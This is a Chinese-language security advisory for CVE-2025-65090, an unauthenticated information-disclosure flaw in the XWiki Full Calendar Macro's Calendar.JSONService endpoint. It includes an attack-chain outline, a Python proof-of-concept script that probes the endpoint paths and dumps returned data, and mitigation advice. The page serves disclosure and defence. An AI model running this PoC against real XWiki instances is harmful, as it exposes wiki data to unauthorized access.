IPBUF安全漏洞报告
English
CVE-2025-65090 CVSS 5.3 中危

CVE-2025-65090: XWiki Full Calendar Macro 敏感信息泄露漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2025-65090
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
XWiki Full Calendar Macro

相关标签

敏感信息泄露访问控制绕过XWikiFull Calendar MacroJSONServiceCVE-2025-65090数据泄露

漏洞概述

CVE-2025-65090是XWiki平台中Full Calendar Macro组件的一个中等严重性安全漏洞。该漏洞允许未经授权的用户(包括访客用户)通过访问Calendar.JSONService页面来获取数据库中的敏感信息,但不包括密码。漏洞影响版本小于2.4.6,在2.4.6版本中已修复。攻击者无需认证即可利用此漏洞,仅需通过网络发送特制请求即可获取XWiki wiki中存储的各种对象数据。由于CVSS评分为5.3(中等),机密性影响为低,但该漏洞仍可能泄露业务敏感数据,建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

漏洞存在于XWiki Full Calendar Macro的Calendar.JSONService端点。该组件用于在日历上展示wiki中的对象。在2.4.6之前的版本中,由于访问控制不当,任何有权查看Calendar.JSONService页面的用户(包括未登录的访客用户)都可以访问数据库中的信息。攻击者通过构造特定的HTTP请求到Calendar.JSONService端点,可以触发数据查询并获取返回的数据库记录。返回的数据包含wiki中存储的各种对象字段,但根据描述密码字段被排除在外。攻击利用方式简单直接,无需特殊权限或用户交互,攻击向量为网络层面,攻击复杂度低。漏洞的技术根源在于对JSONService端点的权限检查不充分,未正确限制数据访问范围。修复方案在commit 25bc14c181c9a92f493b20ac264388c7ba171884中实现,通过加强访问控制和数据过滤来解决信息泄露问题。

攻击链分析

STEP 1
步骤1
攻击者识别目标XWiki实例是否安装了Full Calendar Macro组件
STEP 2
步骤2
攻击者访问Calendar.JSONService端点,无需任何认证
STEP 3
步骤3
发送HTTP GET请求到Calendar.JSONService,触发数据查询
STEP 4
步骤4
服务端返回数据库中的对象信息,包括wiki页面内容、用户相关数据等
STEP 5
步骤5
攻击者收集泄露的敏感信息用于进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-65090 PoC - XWiki Full Calendar Macro Information Disclosure # Target: XWiki instance with Full Calendar Macro < 2.4.6 # Author: Security Research def exploit_cve_2025_65090(target_url): """ Exploit for CVE-2025-65090 - XWiki Full Calendar Macro JSONService Information Disclosure This PoC demonstrates how an unauthenticated user can access sensitive data through Calendar.JSONService """ # Target endpoint that exposes database information endpoints = [ "/xwiki/bin/view/Main/Calendar.JSONService", "/xwiki/bin/view/XWiki/Calendar.JSONService", "/Calendar.JSONService" ] print("[*] CVE-2025-65090 - XWiki Full Calendar Macro Information Disclosure") print(f"[*] Target: {target_url}") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send GET request without authentication # The vulnerability allows unauthenticated access to database info response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Potential vulnerability detected!") print(f"[!] Status Code: {response.status_code}") print(f"[!] Response Length: {len(response.text)} bytes") # Check if response contains sensitive data if 'xwiki' in response.text.lower() or 'class' in response.text.lower(): print("[!] Response contains potential database information") print("[*] Sample response (first 500 chars):") print(response.text[:500]) return True else: print(f"[*] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "http://target-xwiki-instance.com" exploit_cve_2025_65090(target)

影响范围

XWiki Full Calendar Macro < 2.4.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制或禁用Calendar.JSONService页面的访问权限,确保包括guest用户在内的未授权用户无法访问;2) 通过Web服务器配置阻止对该端点的外部访问;3) 启用XWiki的访问控制列表(ACL)功能,限制用户权限;4) 监控访问日志,检测是否存在大量异常的数据查询请求。建议在完成升级前,临时关闭Full Calendar Macro组件以防止信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表